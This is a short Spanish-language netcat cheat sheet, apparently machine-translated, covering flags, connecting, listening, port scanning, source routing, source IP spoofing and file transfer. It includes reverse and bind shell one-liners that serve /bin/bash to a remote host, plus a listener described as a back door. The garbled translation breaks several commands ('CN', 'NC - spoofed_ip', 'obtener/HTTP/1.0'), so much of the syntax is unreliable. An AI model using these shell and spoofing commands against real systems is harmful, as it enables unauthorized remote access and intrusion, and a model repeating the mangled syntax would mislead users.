Paso 2: Comandos de Netcat básico
g- puerta de enlace de enrutamiento fuente salto puntos, hasta 8
Puntero de enrutamiento de origen - G num: 4, 8, 12,...
-h este cruft
segs -i retrasan intervalo para líneas enviado, escaneadas puertos
modo, para escuchar -l de entrada conecta
-L escuchar más, volver a escuchar en socket cerca
-n numérico sólo direcciones IP no DNS
-o volcado archivo de tráfico
-p número de puerto local de Puerto
-r aleatoriamente puertos locales y remotos
Dirección de origen local de addr -s
-t respuesta negociación de TELNET
-u Modo de UDP
-v verbose (uso dos veces para ser más detallado)
-w seg tiempo de espera se conecta y Lee neto final
modo - Z cero-I/O (utilizado para el escaneo)
números de Puerto pueden ser individuales o rangos: m-n (inclusive)
Conectar a un puerto en
un host remoto
remote_host NC < puerto >
Conectar a múltiples
puertos de un host remoto
remote_host NC < puerto >... < puerto >
Por ejemplo:
NC www.somecompanyasanexample.com 21 25 80
Escuchar en un puerto para
conexiones entrantes
(También conocido como A puerta)
NC - v -l -p < puerto >
Conectar al host remoto
y servir un shell bash
NC remote_ip < puerto > -e/bin/bash
Nota que Netcat no dispone de la bandera -e por defecto. Para
hacer Netcat apoyar la bandera -e, debe ser re-compilado con
la opción de DGAPING_SECURITY_HOLE
Escuchar en un puerto y
servir una shell bash
al conectar
NC - v -l -p < puerto > -e Bash
Nota que Netcat no dispone de la bandera -e por defecto. Para
hacer Netcat apoyar la bandera -e, debe ser re-compilado con
la opción de DGAPING_SECURITY_HOLE
Análisis de puertos un mando a distancia
host
NC - v - z remote_host < puerto >-< puerto >
Uso el -i de la bandera para establecer un intervalo de retraso:
CN - i < segundos > - v - z remote_host
< puerto >-< puerto >
Tubo salida de comando
a una solicitud de netcat
< comando > | remote_host NC < puerto >
Por ejemplo:
echo "obtener/HTTP/1.0
(entrar)
(entrar)
"| NC www.somecompanyasanexample.com 80
Usar el enrutamiento de origen para
conectar a un puerto en un
host remoto
NC - g < gateway > remote_host < puerto >
Nota: Hasta salto de ocho puntos se pueden especificar usando el indicador -g.
Uso la - bandera G para especificar el puntero de enrutamiento fuente.
IP de origen de spoof
Dirección
Uso la - bandera s a suplantar la dirección IP de origen:
NC - spoofed_ip remote_host puerto
Este comando hará que el host remoto responder a la
Dirección IP falsificada. La - s bandera se puede utilizar junto con la mayoría de
los comandos presentados en esta tabla.
Transferir un archivo
En el servidor:
NC - v -l -p < puerto ><< archivo >
En el equipo cliente:
NC - v < server_host >< puerto >>< archivo >
También es posible que el equipo cliente escuchar en un puerto a fin de
recibir un archivo. Para ello, ejecute el siguiente comando en el cliente
anfitrión:
NC - v -l -p < puerto >> archivo
Y ejecute el siguiente comando en el host del servidor:
NC - v < client_host >< puerto >< archivo
Éstos se pueden todos utilizar por el netcat